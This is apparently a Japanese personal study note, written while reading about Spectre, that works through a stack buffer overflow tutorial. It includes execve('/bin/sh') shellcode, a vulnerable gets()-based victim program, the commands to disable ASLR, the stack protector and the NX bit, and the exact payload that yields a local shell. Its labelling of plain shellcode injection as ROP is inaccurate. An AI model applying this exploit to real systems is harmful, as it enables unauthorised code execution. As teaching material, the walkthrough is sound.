Spectre 1.1 / Spectre 1.2 についての論文を読んでいるのだが、その中でROP(Return-Oriented Programming)というものが登場しており、どんなものかわからなかったので調べてみた。
具体的には、プログラムのスタックがオーバフローすることにより悪意のあるプログラムを実行することができるという技術で、おもに攻撃対象となるプログラムがスタックを溢れさせてしまう問題を突くことによって実現される。
以下のウェブサイトを読みながら進めていった。
上記のウェブサイトでは、例として攻撃プログラムshell.c
を使い、攻撃対象プログラムvictim.c
を乗っ取る方式を説明している。
まず、shell.c
だが、以下のような構成をしており、これ自体はexecve
システムコールを実行するためのものだ。
引数として使用されるレジスタはすべてゼロに初期化されており、またこのプログラム自体は、アセンブリのどの位置から実行されても(先頭に戻るジャンプが仕込まれていることにより)必ずsyscall
命令によりexecve
が実行されるコードになっている。
shell.c
int main() { asm("\ needle0: jmp there\n\ here: pop %rdi\n\ xor %rax, %rax\n\ movb $0x3b, %al\n\ xor %rsi, %rsi\n\ xor %rdx, %rdx\n\ syscall\n\ there: call here\n\ .string \"/bin/sh\"\n\ needle1: .octa 0xdeadbeef\n\ "); }
次に、victim.c
を見ていく。これは明らかに脆弱性のあるプログラムで、入力データによってはバッファオーバフローする可能性があるプログラムだ。
- victim.c
#include <stdio.h> int main() { char name[64]; puts("What's your name?"); gets(name); printf("Hello, %s!\n", name); return 0; }
このプログラムはgets()
により入力されるデータが64バイトよりも大きければ簡単にオーバフローしてしまうプログラムである。
これに対して上記のshell.c
をコンパイルしたものを注入すると、これによりスタックポインタが上書きされてしまい、shell.cのコードが実行されてしまうというのがROP (Return-Oriented Programming)の考え方だ。
$ gcc shell.c
生成されたa.out
から注入したいコードを抽出する。
$ objdump -d | sed -n '/needle0/,/needle1/p' 00000000000005fe <needle0>: 5fe: eb 0e jmp 60e <there> 0000000000000600 <here>: 600: 5f pop %rdi 601: 48 31 c0 xor %rax,%rax 604: b0 3b mov $0x3b,%al 606: 48 31 f6 xor %rsi,%rsi 609: 48 31 d2 xor %rdx,%rdx 60c: 0f 05 syscall 000000000000060e <there>: 60e: e8 ed ff ff ff callq 600 <here> 613: 2f (bad) 614: 62 (bad) 615: 69 .byte 0x69 616: 6e outsb %ds:(%rsi),(%dx) 617: 2f (bad) 618: 73 68 jae 682 <__libc_csu_init+0x42> ... 000000000000061b <needle1>:
注入したいコードは0x61b - 0x5fe
のため、合計で29バイトとなる。32ビットに切り上げて、注入するためのファイルを作成する。
$ xxd -s0x5fe -l32 -p a.out shellcode $ cat shellcode $ cat shellcode eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef bead
victimを攻撃する
まずはname[64]
の場所を取得するために、以下のようにプログラムを細工する(これはズルだけども...)
ASLR(アドレスのランダム化)を無効化して、アドレスを常に固定する。
#include <stdio.h> int main() { char name[64]; printf("%p\n", name); // Print address of buffer. puts("What's your name?"); gets(name); printf("Hello, %s!\n", name); return 0; }
以下のようにしてアドレスを確認した。nameのアドレスは0x7fffad3f7480
だ。これをリトルエンディアンで取得しておく。環境変数は$a
だ。
$ gcc -fno-stack-protector -o victim victim.c $ setarch `arch` -R ./victim 0x7fffffffd030 What's your name? $ a=`printf %016x 0x7fffffffd030 | tac -rs..` $ echo a 30d0ffffff7f0000
以下のようなコマンドを入力する。
$ ((cat shellcode ; printf %080d 0 ; echo $a) | xxd -r -p ; cat) | setarch `arch` -R ./victim
何をやっているのかややこしいが、1つ1つ分解していく。まずは cat shellcode ; printf %080d 0 ; echo $a
まで。
$ cat shellcode ; printf %080d 0 ; echo $a eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef bead 0000000000000000000000000000000000000000000000000000000000000000000000000000000030d0ffffff7f0000
最初の32バイトまでがgets()
によりname[32]
に呼び込まれる。
次に40バイトの0が入力され、そのうちね32個がname
の残りを埋める。そして余った8バイトはRBPレジスタの場所を上書きする。
最後に、残りの8バイトが戻りアドレスを上書きすることで、シェルコードが実行されるようになる。
このプログラムを実行するために、victim
はさらに弱くなっておく必要がある。
$ gcc -fno-stack-protector -o victim victim.c # Stackフレームのチェックを無効化する $ execstack -s victim # NXビット(実行保護)を無効化する。
これで、以下のコマンドを実行する。
$ ((cat shellcode ; printf %080d 0 ; echo $a) | xxd -r -p ; cat) | setarch `arch` -R ./victim 0x7fffffffd030 What's your name? ls Hello, _H1;H1H1/bin/sh! ls a.out shell.c shellcode victim victim.c
ls
コマンドが実行できるようになり、/bin/sh
によりshell.c
が乗っ取られた。